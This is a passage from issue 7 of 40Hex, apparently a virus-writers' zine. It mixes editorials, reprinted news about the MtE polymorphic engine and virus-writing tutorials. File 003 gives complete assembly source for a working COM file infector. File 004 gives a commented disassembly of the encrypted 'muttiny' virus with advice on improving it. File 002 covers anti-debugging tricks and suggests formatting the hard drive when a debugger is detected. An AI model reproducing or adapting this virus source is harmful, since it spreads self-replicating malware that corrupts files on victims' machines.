40Hex Number 7 Volume 2 Issue 3 File 000 Welcome to 40Hex issue 7! As you may have noticed, we are a little late in releasing this issue. This is mainly because very little has gone on for us to write about. Enough of the excuses, on with the show. We are going to start by giving you a little news update on what we've been up to. First of all, Hellraiser is back in New York. He moved back towards the end of May. Once he gets settled and I give him his computer, I am sure he will be back writing more virii, and possibly editing 40Hex (not sure if he wants the task of editing 40Hex). Anyways, to say the least, its great having him back where he belongs. Second, we have several new virii out, these will NOT appear on Virus BBSs. Not even ours. The reason is simple. Anti-Virus people are not in the dark anymore. They are on Virus BBSs. Since we want our virii to remain as undetectable as possible, giving them to the general public is just no longer an option. Nonetheless, the new virii will be sure to surprise everyone. Third, LandFill BBS is back online. The number won't be given out in the mag, I don't want it getting posted on FidoNet. I am silly that way. The other reason I am not putting the number in it is because I don't want 100+ lamers reading it, and giving the BBS a call. Fourth, a new installment of Dark Angel's Virus Writing Guide came out, get it, it is chunky. Finally, greetings to three new members, Black Mischief (Hacker), and iNVALiD MEDiA (Hacker, SysOp Of Unphamiliar Territories, which is now invite only!), and Stingray(Ex-VIPER). Table Of Contents 40Hex-7.000....................You've Just Read it 40Hex-7.001....................Virii in the News Part I 40Hex-7.002....................Code Concealment [2] 40Hex-7.003....................An Introduction to Non-overwriting Virii 40Hex-7.004....................Enough Tinys to Sink a Ship 40Hex-7.005....................MtE News Stories 40Hex-7.006....................Virus Spotlite:Dissassembly of Leap Frog 40Hex-7.007....................Spammies Reminder 40Hex-7.008....................Virii in the News Part II 40Hex-7.009....................Debug Script for Pogue Mahone Greets to: [NuKE], VIPER, All of the Spammies Entries, All -=PHALCON/SKISM=- Members, Dark Avenger and anyone else that keeps the virus scene going strong. ->GHeap! 40Hex Number 7 Volume 2 Issue 3 File 001 WISHFUL THINKING WILL NOT MAKE PUBLICITY-SEEKING VIRUSES GO AWAY [Hmmmm, a publicity seeking virus. I had a virus like that. It infected my computer and called every news agency telling them what it had done.] By: Paul Melka for Infoworld 4/27 We have all heaved a collective sigh since March 6 came and went with little computer damage from the Michelangelo Virus. But this sense of relief obscures what I believe is a very important fact: Michelangelo was a turning point in the industry, as much as Microsoft's Windows 3.0 was. Prior to March 6, the trigger date for the virus, many people hours were spent in organizations large and small trying to prepare for attack. [Gimme a break. An 'attack'.] And when all said and done, PCs in the United States fared pretty well. Still everyone's memory of the Michelangleo virus has begun to fade, and the press - which thoroughly covered the looming threat - is now focused on how little damage was done or how much money virus-protection vendors made. That frustrates me. It misses a subtle yet more important aspect of viruses: With all the publicity that Michelangelo generated, it was the forerunner of more powerful and more destructive viruses. The publicity from Michelangelo threw down the gauntlet to virus writers to create newer and more destructive viruses. Gone are the days when letters simply fall to the bottom of your screen or you get prompted by messages asking for cookies or birthday greetings. The industry is just beginning to see the emergence of polymorphic viruses that change their signatures with each infection.(Already a working version of the self-mutating engine that creates polymorphic viruses is available on some bulletin boards, along with manuals.) And we are beginning to see viruses that are specifically designed to foil various detection applications. Finally there are shrink-wrapped applications infected with viruses; now there is no "safe" way to purchase software. The virus software authors also have an advantage over all antivirus authors in that they can see exactly what they are going against, while the antivirus developers still have to react to new, unknown viruses. What types of viruses are next? I don't know, and probably most of the experts don't know either. But you can certainly speculate on the various directions that could be taken in the very near future. We have already seen the evolution from file infecting viruses, boot sector viruses, and stealth viruses to polymorphic viruses. The increase in the number and occurences of viruses is real. Products less then a year old that search for "over 300 viruses" are almost laughed at today, as security specialists cite documentation of more than 1,000 different strains of viruses. The National Computer Security Association estimates that by the end of 1994, there will be almost 40,000 different virus strains. [A shame they will mostly be Tiny variants and Jerusalem Hacks] With that kind of explosion, new protection methods will be needed. Most of today's scanners would spent more time scanning each file for viruses than there are working hours in a day. We will see better and more efficient methods of detecting and preventing viruses that still allow full use of the computer. As a security analyst for a large utility company, I try to keep everyone educated on the dangers of viruses and how best to avoid them. I also try to keep myself and the company as up to date as possible on what is happening with viruses. But unless everyone realizes that viruses are real and takes reasonable action against them, there will come a time when a new "super virus" that cannot be detected by any of the existing packages is developed. [Wonder who is gonna write that one?] It will literally cripple some major corporations, while destroying other businesses completely. I don't advise going back to paper and pencil, but I do think that all PC users have to be vigilant about the threat of viruses, to educate themselves on the prevention of viruses, and to institute "safe" practices, including backing up data and using virus-protection software. The official patented 40-Hex rebuttal: Paul Melka seems to be fairly accurate. However, there are some things I feel are wrong. For example the estimation that there will be 40,000 virus strains by the end of 1994. Let's just say for example that it is about 2 years away. That would mean that there would be 53 viruses written a day, or 2.2 viruses written an hour! Jeez, we all have a shitload of work to do. Do you find this hard to believe? I do. Of course, the way the virus scene is heading, we are becoming like the warez scene. All the half-assed fools spreading stuff to other BBSs, not even seeing what they are, or if they are real. Ahh well, enough of my complaints. When Mr. Melka mentioned that there was no "safe" way of purchasing software, it got me thinking. He is definately correct. Of course, I feel that it is the responsibility of all software publishers to check their disks before packaging them. At first, he seemed to be very neutral, but as the article progressed, I noticed that even Mr. Melka seemed to fall down the endless pit of ignorance, and resorted to a scare tactic: a virus that nothing can detect or kill. He started off saying that he was speculating, but when he said "...there WILL come a time when a new 'super virus' that cannot be detected by any of the existing packages is developed. It will literally cripple some major corporations, while destroying other businesses completely." he said WILL. It bothers me that a member of the computer security community would be so close- minded. We are not trying to justify the writing of virii, mainly because we don't have to. It isn't illegal. Making it illegal can't be done; it takes away our rights. Of course, we want to distinguish that we don't spread our virii to anyone who doesn't know that they are virii. It is what they do from there that may be against the law. If you think it stopped here, here is a letter to the editor of Infoworld about the above article: Both Steve Gibson and Peer-to-Peer columnist Paul Melka have hit on the reason for the current explosion of viruses. The key is in the title to Mr. Melka's column: "Publicity-Seeking." Virus writers have the same mentality as chain mail writers: They like to see how far their viruses spread and they track the spread of their virus by its nickname. The glory from this spread would be greatly diminished if viruses were referred to by mundane serial numbers like 7B386621C rather than captivating nicknames like Michelangelo. I would like to lead a campaign [The Anti Virus Crusades! Ha! I love it!] on two fronts: First: Establish a no-nickname rule. The National Computer Security Association and other groups should start referring to viruses with nondescriptive serial numbers rather than glamorous nicknames. Second: Ask other readers to write representatives and demand legislation that would impose suitable penalties for malicious computer crimes. These penalties would include jail terms. [GULP!] In closing, I believe that this is a perfect opportunity for BIOS manufacturers to sell BIOS upgrades. Mr. Gibson's observation that the best defense mechanism for existing viruses lies in the ROM BIOS is absolutely correct. Seventy-four percent of virus infections could be eliminated by a simple BIOS change. I am part of a support center for more than 5,000 PCs; I have yet to detect a virus on those few PCs that boot only from the hard drive. Marvin Bullock [Buttock?] Nashville, TN Rebuttal part ][ ---------------- Ok, this guy I don't really respect. The no-nickname rule. W0W! What a concept. Because you take the name away from my program, I won't recognize when some one posts "Oh yeah, The virus 7XZ23576B upon activation a siren is heard as a ambulance is displayed across the screen." We'd never pick up on that. I also want to know where he got the 74% figure. It may be true, but it wasn't documented. I am not going to argue the anti-virus issue, as I can only speculate. Basically, it takes a twit to catch a virus. Watch what is put on your system. If you are a system administrator, don't allow standard write access to the network drives. If you do, expect a message like "Your computer is stoned". In reality, YOU should be. PS:Gibson's article refered to the Dark Avenger's MtE, worthwhile if you don't know about it, otherwise, it is pointless. ->GHeap 40Hex Number 7 Volume 2 Issue 3 File 002 ž Code Concealment ž ž -Demogorgon/PHALCON/SKISM ž In the previous issue of 40hex, I wrote about how a programmer can keep his code from being stolen by others. Ways of doing this are endless, and I will talk about a few more methods in this installment. Part I : Fun with int3 Part II : Fun with int8 Part III: The Prefetch Part_I : Fun with int3 Int three is the debugger breakpoint. Every time a debugger breaks while tracing through a chunk of code, it will call int3. Int3 is called after every instruction is executed in trace mode, and after a breakpoint is reached. Note that protected mode debuggers do not execute int3 in trace mode, but they will break when int3 is called from your code. You can use this to your advantage. Simply install a new handler for int3 and it will execute instead of the debugger if a thief tries to trace through your program. start: mov ax, 2503h mov dx, offset int_start int 21h ; put in the new handler at ds:dx ... ; rest of real code here int 20h text db 'Smoke Mah Ass!$' int_start: mov ah, 9 mov dx, offset text int 21h int 20h As soon as the first int21 call in this program is made, the code at int_start will execute if it is being traced in a debugger. Otherwise, the int call will be ignored and your normal code will execute. The program can do whatever you want if a debugger is found. For example, you can format the hard drive or display a message. The possabilities are endless. By the way, it might be wise to restore the old interrupt handler before you exit the program, because it is bad programming practice to leave interrupts pointed into non-allocated memory. compatability:(works against all debuggers marked with an X) ------------------------------------------------------------------------- Debug Turbo Debug Turbo Debug 386 Soft-Ice X X ------------------------------------------------------------------------- Part_II: Fun with int8 The next segment will show you how to make a program nearly impossable to trace. The concept is simple. All you need to do is place the main body ofyour program into an int8 handler. Int8 is the timer interrupt, and it is called 18.2 times a second. Debuggers do not execute int8, so whatever you put there will only go when it is run from dos. The only drawback to this is a short delay before the main program is executed. It will probably go unnoticed, in most cases. Here is some code: thyroid:mov ax, 3508h int 21h ; get int8 handler mov word ptr [int_store], bx ; store it mov word ptr [int_store+2], es mov dx, offset prog_start mov ah, 25h int 21h ; install new int8 handler yip: cmp flaag, 1 jne yip ; wait for int8 to be called ; int8 must set the flaag to 1 push bx pop dx ; restore push es ; old pop ds ; int8 int 21h ; handler int 20h flaag db 0 int_store dd ? prog_start: _main_program proc far ; save all the necessary registers here ; ... your code mov flaag, 1 ; restore the registers jmp dword ptr [offset int_store] ; chain to real int8 handler _main_program endp This code is quite useful in that if some guy tries to trace through it, he will be stuck forever in the 'yip' loop. The main code will never be executed. If he tries to get out of the loop by 'executing to' the next instruction, he will end up running the entire program. No debugger I know of can trace through this, because int8 is not called from within the debugger. ------------------------------------------------------------------------- Debug Turbo Debug Turbo Debug 386 Soft-Ice X X X X ------------------------------------------------------------------------- Part_III: The Prefetch My favorite way to confuse debuggers is to mess with the prefetch queue. All intel processors have a small queue where the next instructions to be executed are stored. In this way, the CPU does not have to waste clock cycles by fetching the next instruction, except in the cases of branching instructions such as jmps and calls. The next chunk of code makes use of this: eapple: mov ah, 9 mov word ptr [offset ear_lobe-2], offset sukk_debug mov dx, offset text ear_lobe: int 21h int 20h text db 'snee!$' sukk_debug db 0Ah, 0Dh, 09h, 'blow a goat!', 07h, 0Ah, 0Dh, '$' All this program does is print out a text string. If it is run from dos, it will print out 'snee!'. If it is traced through by any debugger, however, it will print 'blow a goat!', and beep the PC speaker (07h is ctrl-g). Let me explain how this works. When any chunk of code is executed by dos, the first few bytes are sent into the prefetch queue. The actual number of bytes depends on the model of intel chip, and what year it was made in. My computer is a 386DX-20 (early model), which has a 16 byte prefetch. Be sure to check your code on several machines to insure compatability. When the second instruction is reached, it places the offset of sukk_debug into the next instruction. That is, the next instruction becomes 'mov dx, offset sukk_debug', rather than 'mov dx, offset text'. The system memory will be changed, but the prefetch will not, therefore only a debugger will respond to the new code. Dos will execute it as if the instruction had never changed, because the instruction will already have been loaded into the prefetch. This theory can be used, with a little modification, in order to branch to various subroutines, rather than just printing out different text. One interesting application of this is to use the prefetch area to store registers. This way, a person debugging your code can not simply nop it out, because it will be referred to later on. In fact, you can even put the stack on the prefetch. Try to debug through the following fragment, and watch what happens: nee: mov ax, 4Ch mov dx, offset text mov sp, offset fin_rot push ax mov ah, 9 fin_rot:int 21h pop ax int 21h text: db 'Duck is proud of her feet. They can catch things.$' If you run it through debug, the entire program will be corrupted as soon as you move the stack pointer. This is because the debug code uses the stack and expects it to be in a safe location. If you run it through soft ice, the code will be corrupted as soon as you push ax. The stack area will be overwritten when int21 is executed, because the interrupt uses the stack. However, in this example, the instruction pointer will already be beyond this area, so the program will execute normally. Remember not to place the stack past any calls, because then the prefetch would have to be reloaded after the main program was returned to, and the instructions that were there before will be gone. ------------------------------------------------------------------------- Debug Turbo Debug Turbo Debug 386 Soft-Ice X X X X ------------------------------------------------------------------------- That about wraps it up for this installment. I will probably have some new methods for you the next issue, unless I get bored and decide to drop the whole idea. Keep in mind that the best ideas are your own.                       Remember: Unprotected code is public domain!                       [] If anyone has any questions or comments about my series, [] [] or some more suggestions for methods that can be added to [] [] it, feel free to drop me a note on Landfill BBS [] 40Hex Number 7 Volume 2 Issue 3 File 003 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ An Introduction to Nonoverwriting Virii By Dark Angel ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It seems that there are quite a few virus writers out there who just sit at home and churn out hacks of virii. Yay. Anybody with a disassembler and some free time can churn out dozens of undetectable (unscannable) variants of any given virus in an hour. Others have not progressed beyond the overwriting virus, the type of virus with the most limited potential for spreading. Still others have never written a virus before and would like to learn. This article is designed as a simple introduction to all interested to the world of nonoverwriting virii. All that is assumed is a working knowledge of 80x86 assembly language. Only the infection of COM files will be treated in this article, since the infection routine is, I think, easier to understand and certainly easier to code than that of EXE files. But do not dispair! EXE infections will be covered in the next issue of 40Hex. COM files are described by IBM and Microsoft as "memory image files." Basically, when a COM file is run, the file is loaded as is into memory. No translation or interpretation of any sort takes place. The following steps occur when a COM file is run: 1) A PSP is built. 2) The file is loaded directly above the PSP. 3) The program is run starting from the beginning. The PSP is a 256 byte header storing such vital data as the command line parametres used to call the program. The file is located starting at offset 100h of the segment where the program is loaded. Due to the 64K limit on segment length, COM files may only be a maximum of 64K-100h bytes long, or 65280 bytes. If you infect a COM file, make sure the final size is below this amount or the PSP will get corrupted. Since the beginning of the file is at offset 100h in the segment (this is the reason for the org 100h at the start of assembly source for com files), the initial IP is set to 100h. The key to understanding nonoverwriting COM virii is to remember that once the program is loaded into memory, it can be changed at will without affecting the actual file on disk. The strategy of an overwriting virus is to write the virus to the beginning of the COM file. This, of course, utterly annihilates the original program. This, of course, is lame. The nonoverwriting virus changes only the first few bytes and tacks the virus onto the end of the executable. The new bytes at the beginning of the file cause the program, once loaded, to jump to the virus code. After the virus is done executing, the original first few bytes are rewritten to the area starting at 100h and a jmp instruction is executed to that location (100h). The infected program is none the worse for the wear and will run without error. The trick is to find the correct bytes to add to the beginning of the file. The most common method is to use a JMP instruction followed by a two byte displacement. Since these three bytes replace three bytes of the original program, it is important to save these bytes upon infection. The JMP is encoded with a byte of 0e9h and the displacement is simply the old file length minus three. To replace the old bytes, simply use code similar to the following: mov di, 100h mov si, offset saved_bytes movsw movsb And to return control to the original program, use the following: mov di, 100h jmp di or any equivalent statements. When writing nonoverwriting virii, it is important to understand that the variables used in the code will not be in their original locations. Since virii are added to the end of the file, you must take the filesize into account when calculating offsets. The standard procedure is to use the short combination of statements: call oldtrick oldtrick: pop bp ; bp = current IP sub bp, offset oldtrick ; subtract from original offset After these statements have been executed, bp will hold the difference in the new offsets of the variables from the original. To account for the difference, make the following substitutions in the viral code: lea dx, [bp+offset variable] instead of mov dx, offset variable and mov dx, word ptr [bp+offset variable] instead of mov dx, word ptr variable Alternatively, if you want to save a few bytes and are willing to suffer some headaches, leave out the sub bp, offset oldtrick and calculate all offsets as per the procedure above EXCEPT you must now also subtract offset oldtrick from each of the offsets. The following is a short nonoverwriting virus which will hopefully help in your understanding of the techniques explained above. It's sort of cheesy, since I designed it to be small and easily understandable. In addition to being inefficient (in terms of size), it fails to preserve file date/time and will not infect read-only files. However, it serves its purpose well as a teaching aid. --------Tear line---------------------------------------------------------- DumbVirus segment Assume CS:DumbVirus Org 100h ; account for PSP ; Dumb Virus - 40Hex demo virus ; Assemble with TASM /m2 Start: db 0e9h ; jmp duh dw 0 ; This is where the virus starts duh: call next next: pop bp ; bp holds current location sub bp, offset next ; calculate net change ; Restore the original first three bytes lea si, [bp+offset stuff] mov di, 100h ; Put 100h on the stack for the retn later ; This will allow for the return to the beginning of the file push di movsw movsb ; Change DTA from default (otherwise Findfirst/next will destroy ; commandline parametres lea dx, [bp+offset dta] call set_dta mov ah, 4eh ; Find first lea dx, [bp+masker] ; search for '*.COM',0 xor cx, cx ; attribute mask - this is unnecessary tryanother: int 21h jc quit ; Quit on error ; Open file for read/write ; Note: This fails on read-only files mov ax, 3D02h lea dx, [bp+offset dta+30] ; File name is located in DTA int 21h xchg ax, bx ; Read in the first three bytes mov ah, 3fh lea dx, [bp+stuff] mov cx, 3 int 21h ; Check for previous infection mov ax, word ptr [bp+dta+26] ; ax = filesize mov cx, word ptr [bp+stuff+1] ; jmp location add cx, eov - duh + 3 ; convert to filesize cmp ax, cx ; if same, already infected jz close ; so quit out of here ; Calculate the offset of the jmp sub ax, 3 ; ax = filesize - 3 mov word ptr [bp+writebuffer], ax ; Go to the beginning of the file xor al, al call f_ptr ; Write the three bytes mov ah, 40h mov cx, 3 lea dx, [bp+e9] int 21h ; Go to the end of the file mov al, 2 call f_ptr ; And write the rest of the virus mov ah, 40h mov cx, eov - duh lea dx, [bp+duh] int 21h close: mov ah, 3eh int 21h ; Try infecting another file mov ah, 4fh ; Find next jmp short tryanother ; Restore the DTA and return control to the original program quit: mov dx, 80h ; Restore current DTA to ; the default @ PSP:80h set_dta: mov ah, 1ah ; Set disk transfer address int 21h retn f_ptr: mov ah, 42h xor cx, cx cwd ; equivalent to: xor dx, dx int 21h retn masker db '*.com',0 ; Original three bytes of the infected file ; Currently holds a INT 20h instruction and a null byte stuff db 0cdh, 20h, 0 e9 db 0e9h eov equ $ ; End of the virus ; The following variables are stored in the heap space (the area between ; the stack and the code) and are not part of the virus that is written ; to files. writebuffer dw ? ; Scratch area holding the ; JMP offset dta db 42 dup (?) DumbVirus ENDS END Start --------------------------------------------------------------------------- Do not worry if not everything makes sense to you just yet. I tried to keep the example virus as simple as possible, although, admittedly, the explanations were a bit cryptic. It should all come to you in time. For a more complete discussion of nonoverwriting virii, pick up a copy of each of the first three parts of my virus writing guide (the phunky, the chunky, and the crunchy), where you may find a thorough tutorial on nonresident virii suitable for any beginning virus programmer. 40Hex Number 7 Volume 2 Issue 3 File 004 I picked up a file touted as "a very small virus" and decided to figure out what this virus could be. SCAN86-B turned up nothing, so I had to disassemble it. The name was intriguing -- muttiny. I thought it was a misspelling of mutiny, but I was terribly wrong. After a minute, I had infected a carrier file and decrypted the virus. It took but one minute more to disassemble and maybe half an hour to comment. Argh! It is yet another TINY strain! I do not know who the author is, but I had a few comments to make. This virus, quite frankly, sucks. It is a pitiful excuse for programming. Many, many improvements can be made. I have put comments on how this virus could be made much mo' bettah. I must tell whoever wrote the virus that TINY is not so tiny anymore. The original TINYs were 150 bytes long. Now look at it! It is over twice that size! I suppose this virus is the "MUTated TINY" variant, but I'd prefer to call it "Messed Up Totally TINY". The author MUST clean up the virus before distributing it to everyone! One further improvement would be to make this virus a generic COM infector, which can be done in well under 200 bytes, with all the "functionality" of the current version. Note that this time I did not rewrite it, a la Tiny F 1.1, but rather merely suggested improvements. This way, you can easily see the bugs for yourself and learn from the author's pitfalls. Dark Angel of PHALCON/SKISM 4/23/92 P.S. This is a byte-to-byte match of the virus I picked up -- even the labels are in their correct offsets. The file below should match the source code of the original carrier file exactly. Assemble w/ TASM /m2. P.P.S. This is the last Tiny strain to be published in 40Hex. For some Reason, Tiny strains seem to come up again and again over here. I think it is hightime to put the Tiny series in its grave where it belongs. Amen. So be it. DA muttiny segment byte public assume cs:muttiny, ds:muttiny org 100h start: db 0e9h, 5, 0 ; jmp startvir restorehere: int 20h idword: dw 990h ; The next line is incredibly pointless. It is a holdover from one ; of the original TINYs, where the id was 7, 8, 9. The author can ; easily save one byte merely by deleting this line. db 09h startvir: call oldtrick ; Standard location-finder oldtrick: pop si ; The following statement is a bug -- well, not really a bug, just ; extraneous code. The value pushed on the stack in the following ; line is NEVER popped off. This is messy programming, as one byte ; could be saved by removing the statement. push si sub si,offset oldtrick call encrypt ; Decrypt virus call savepsp ; and save the PSP ; NOTE: The entire savepsp/restorepsp procedures are unnecessary. ; See the procedures at the end for further details. jmp short findencryptval ; Go to the rest of the virus ; The next line is another example of messy programming -- it is a ; NOP inserted by MASM during assembly. Running this file through ; TASM with the /m2 switch should eliminate such "fix-ups." nop ; The next line leaves me guessing as to the author's true intent. db 0 encryptval dw 0h encrypt: push bx ; Save handle ; The following two lines of code could be condensed into one: ; lea bx, [si+offset startencrypt] ; Once again, poor programming style, though there's nothing wrong ; with the code. mov bx,offset startencrypt add bx,si ; Continueencrypt is implemented as a jmp-type loop. Although it's ; fine to code it this way, it's probably easier to code using the ; loop statement. Upon close inspection, one finds the loop to be ; flawed. Note the single inc bx statement. This essentially makes ; the encryption value a a byte instead of a word, which decreases ; the number of mutations from 65,535 to 255. Once again, this is ; just poor programming, very easily rectified with another inc bx ; statement. Another optimization could be made. Use a ; mov dx, [si+encryptval] ; to load up the encryption value before the loop, and replace the ; three lines following continueencrypt with a simple: ; xor word ptr [bx], dx continueencrypt: mov ax,[bx] xor ax,word ptr [si+encryptval] mov [bx],ax inc bx ; The next two lines should be executed BEFORE continueencrypt. As ; it stands right now, they are recalculated every iteration which ; slows down execution somewhat. Furthermore, the value calculated ; is much too large and this increases execution time. Yet another ; improvement would be the merging of the mov/add pair to the much ; cleaner lea cx, [si+offset endvirus]. mov cx,offset veryend ; Calculate end of add cx,si ; encryption: Note cmp bx,cx ; the value is 246 jle continueencrypt ; bytes too large. pop bx ret writerest: ; Tack on the virus to the call encrypt ; end of the file. mov ah,40h mov cx,offset endvirus - offset idword lea dx,[si+offset idword] ; Write starting from the id int 21h ; word call encrypt ret startencrypt: ; This is where the encrypted area begins. This could be moved to ; where the ret is in procedure writerest, but it is not necessary ; since it won't affect the "scannability" of the virus. findencryptval: mov ah,2Ch ; Get random # int 21h ; CX=hr/min dx=sec ; The following chunk of code puzzles me. I admit it, I am totally ; lost as to its purpose. cmp word ptr [si+offset encryptval],0 je step_two cmp word ptr [si+offset encryptval+1],0 je step_two cmp dh,0Fh jle foundencryptionvalue step_two: ; Check to see if any cmp dl,0 ; part of the encryption je findencryptval ; value is 0 and if so, cmp dh,0 ; find another value. je findencryptval mov [si+offset encryptval],dx foundencryptionvalue: mov bp,[si+offset oldjmp] ; Set up bp for add bp,103h ; jmp later lea dx,[si+filemask] ; '*.COM',0 xor cx,cx ; Attributes mov ah,4Eh ; Find first tryanother: int 21h jc quit_virus ; If none found, exit mov ax,3D02h ; Open read/write mov dx,9Eh ; In default DTA int 21h mov cx,3 mov bx,ax ; Swap file handle register lea dx,[si+offset buffer] mov di,dx call read ; Read 3 bytes cmp byte ptr [di],0E9h ; Is it a jmp? je infect findnext: mov ah,4Fh ; If not, find next jmp short tryanother infect: mov ax,4200h ; Move file pointer mov dx,[di+1] ; to jmp location mov [si+offset oldjmp],dx ; and save old jmp xor cx,cx ; location call int21h jmp short skipcheckinf ; Once again, we meet an infamous MASM-NOP. nop ; I don't understand why checkinf is implemented as a procedure as ; it is executed but once. It is a waste of code space to do such ; a thing. The ret and call are both extra, wasting four bytes. An ; additional three bytes were wasted on the JMP skipping checkinf. ; In a program called "Tiny," a wasted seven bytes is rather large ; and should not exist. I have written a virus of half the length ; of this virus which is a generic COM infector. There is just too ; too much waste in this program. checkinf: cmp word ptr [di],990h ; Is it already je findnext ; infected? ; The je statement above presents another problem. It leaves stuff ; on the stack from the call. This is, once again, not a critical ; error but nevertheless it is extremely sloppy behavior. xor dx,dx xor cx,cx mov ax,4202h call int21h ; Goto end of file ret skipcheckinf: mov cx,2 mov dx,di call read ; read 2 bytes call checkinf ; The next check is extraneous. No COM file is larger than 65,535 ; bytes before infection simply because it is "illegal." Yet ano- ; ther waste of code. Even if one were to use this useless check, ; it should be implemented, to save space, as or dx, dx. cmp dx,0 ; Check if too big jne findnext cmp ah,0FEh ; Check again if too big jae findnext mov [si+storejmp],ax ; Save new jmp call writerest ; location mov ax,4200h ; Go to offset mov dx,1 ; 1 in the file xor cx,cx call int21h mov ah,40h ; and write the new mov cx,2 ; jmp location lea dx,[si+storejmp] call int21h ; I think it is quite obvious that the next line is pointless. It ; is a truly moronic waste of two bytes. jc closefile closefile: mov ah,3Eh ; Close the file call int21h quit_virus: call restorepsp jmp bp read: mov ah,3Fh ; Read file ; I do not understand why all the int 21h calls are done with this ; procedure. It is a waste of space. A normal int 21h call is two ; bytes long while it's three bytes just to call this procedure! int21h: int 21h ret db 'Made in England' ; Note: The comments for savepsp also apply to restorepsp. ; This code could have easily been changed to a set active DTA INT ; 21h call (AH = 1Ah). It would have saved many, many bytes. savepsp: mov di,0 ; The following is a bug. It should be ; mov cx, 50h ; since the author decided to use words instead of bytes. mov cx,100h push si ; The loop below is dumb. A simple rep movsw statement would have ; sufficed. Instead, countless bytes are wasted on the loop. storebytes: mov ax,[di] mov word ptr [si+pspstore],ax add si,2 add di,2 loop storebytes pop si ret restorepsp: mov di,0 mov cx,100h ; Restore 200h bytes push si restorebytes: mov ax,word ptr [si+pspstore] mov [di],ax add si,2 add di,2 loop restorebytes pop si ret oldjmp dw 0 filemask db '*.COM',0 idontknow1 db 66h ; Waste of one byte buffer db 00h, 00h, 01h ; Waste of three bytes storejmp dw 0 ; Waste of two bytes ; endvirus should be before idontknow1, thereby saving six bytes. endvirus: idontknow2 db ?, ? pspstore db 200 dup (?) ; Should actually be idontknow3 db 2ch dup (?) ; 100h bytes long. veryend: ; End of encryption muttiny ends end start 40Hex Number 7 Volume 2 Issue 3 File 005 Well, by far the most incredible creation in the virus community that has surfaced is the MtE. We aren't going to go into details about it, but we are definately going to give you as much news as we have collected. In this file: Article 1: A note from Vesselin Bontchev Article 2: Steve Gibson tells us how to avoid polymorphic viruses Article 3: An article from Newsday about McAfee Article 4: NIST Expert Warns Feds to Find Better Ways to Head Off Viruses Article 5: Some messages posted on Smartnet about MtE <<<<<<<<<< Article 1: <<<<<<<<<< ====From the Virus-L Digest via NIST===== Date: 10 Feb 92 20:40:23 +0000 >From: bontchev fbihh.informatik.uni-hamburg.de (Vesselin Bontchev) Subject: Re: DAV/Sourcer/Rape (PC) RUTSTEIN HWS.BITNET writes: > First, has anyone heard about Dark Avenger's latest? I got a report > secondhand last week that he'd come up with a new gem...I believe the > report came from a researcher in the UK. Fridrik/Vesselin/others, can > you confirm/deny this report? Yeah, I can confirm it... :-( And it is a first-hand information, since I have it. The long-rumored Mutating Engine is real and is circulated to several virus exchange BBSes... :-(( The bad news is that the damn thing really mutates, no kidding! It comes as an OBJ file, which is supposed to be linked to any virus, with a detailed do-it-yourself guide, and with a demo virus. The demo virus is in source, but the source of the Mutating Engine (called MtE) is not provided. According to the docs, what we have is version 0.90-beta of the MtE, but version 0.91 is also known to exist... I'm wondering what will be implemented more in version 1.00... :-((( The damn thing is really difficult to crack! I mean, it contains no encryption or anti-debugging and anti-disassembling thechniques, but it mutates too well... I have observed changing of encryption algorithms, random bytes padding, usage of different ways to express one and the same algorithm (yeah, that's right - different ways, not just modifying the opcodes and inserting do-nothing instructions)... The currently most mutating virus (V2P6Z) is a toy compared to it... The worst of all is that just anybody can sit and use it to create a virus. Well, some experience in assembly language programming is needed, so the kids from RABID, NukE, and the other punk virus writing groups that use to write overwriting viruses in high-level languages will have a little bit of trouble to learn how to use it... But a very little bit! Currently there are only two viruses, which use the MtE. The first is the demo virus in the package (a silly, non-resident, COM file infector, infects only the files in the current directory), and a virus, called Pogue, which has been available on some VX BBSes in the USA. McAfee's SCAN 86-B claims to be able to detect the Pogue virus. Unfortunately, I haven't had the time to verify this (I recieved the virus just two days ago). There are reports that in fact not all possible variants of the virus are detected. SCAN 86-B DOES NOT detect the MtE for sure - I tested it on the demo virus supplied with the package. As a conclusion, don't panic. Currently there are only two viruses, using the MtE and both are too silly to pose a serious threat. Copies of the MtE have been provided to several anti-virus researchers (no, don't write me to ask for a copy, you won't get one), including McAfee Associates, Fridrik Skulason, Dr. Solomon, etc., so there are a lot of people working right now on the problem. The good news is that once we learn to recognize the MtE, we'll be able to detect -any- new viruses that are using it. Oh, yes, just out of interest. The whole package comes in a neat ZIP archive, with -AV code for "CrazySoft, Inc.". The Bulgarian hackers have demonstrated again that the -AV authenticity verification in PKZIP is just crap, so PLEASE DO NOT RELY ON IT! <<<<<<<<<< Article 2: <<<<<<<<<< From InfoWorld Magazine Tech Talk by Steve Gibson AT LAST, HOW TO PROTECT YOURSELF FROM POLYMORPHIC VIRUSES My past two columns concerning the threat presented by polymorphic viruses triggered an informative conversation with the industry's chief virus researcher, John McAfee. During that conversation I learned that things are even worse than I'd supposed. It turns out that the "Dark Avenger" bulletin board system, which disseminates virus code, has recently published source code for the Dark Avenger Mutation Engine. The Mutation Engine is nothing less than a first-class code kernel that can be tacked onto any existing or future virus to turn it into a nearly impossible to detect self-encrypting virus. My examination of a sample virus encrypted by the Mutation Engine provided by McAfee revealed alarming capabilities. Not only do the Dark Avenger Mutation Engine viruses employ all of the capabilities I outlined in last week's column, but they also use a sophisticated reversible encryption algorithm generator. The Mutation Engine uses a meta-language-driven algorithm generator that allows it to create an infinite variety of completely original encryption algorithms. The resulting unique algorithms are then salted with superfluous instructions, resulting in decryption algorithms varying from 5 to 200 bytes long. Because McAfee has already received many otherwise known viruses that are now encapsulated with the Mutation Engine's polymorphic encryption, it's clear that viruses of this new breed are now traveling among us. It is clear that the game is forever changed; the sophistication of the Mutation Engine is amazing and staggering. Simple pattern-matching virus scanners will still reliably detect the several thousand well-known viruses; however, these scanners are completely incapable of detecting any of the growing number of viruses now being cloaked by the Dark Avenger Mutation Engine. So what can we ultimately do to thwart current and future software viruses? After brainstorming through the problem with some of our industry's brightest developers and systems architects, I've reached several conclusions. First, scanning for known viruses within executable program code is fundamentally a dead end. It's the only solution we have for the moment, but the detectors can only find the viruses they are aware of, and new developments such as the Mutation Engine render even these measures obsolete. Second, detecting the reproductive proclivities of viruses on the prowl is prone to frequent false alarms and ultimately complete avoidance. With time the viruses will simply circumvent the detectors, at which time the detectors will only misfire for self-modifying benign programs. Third, the Achilles' heel of our current DOS-based PC is its entirely unprotected nature. As long as 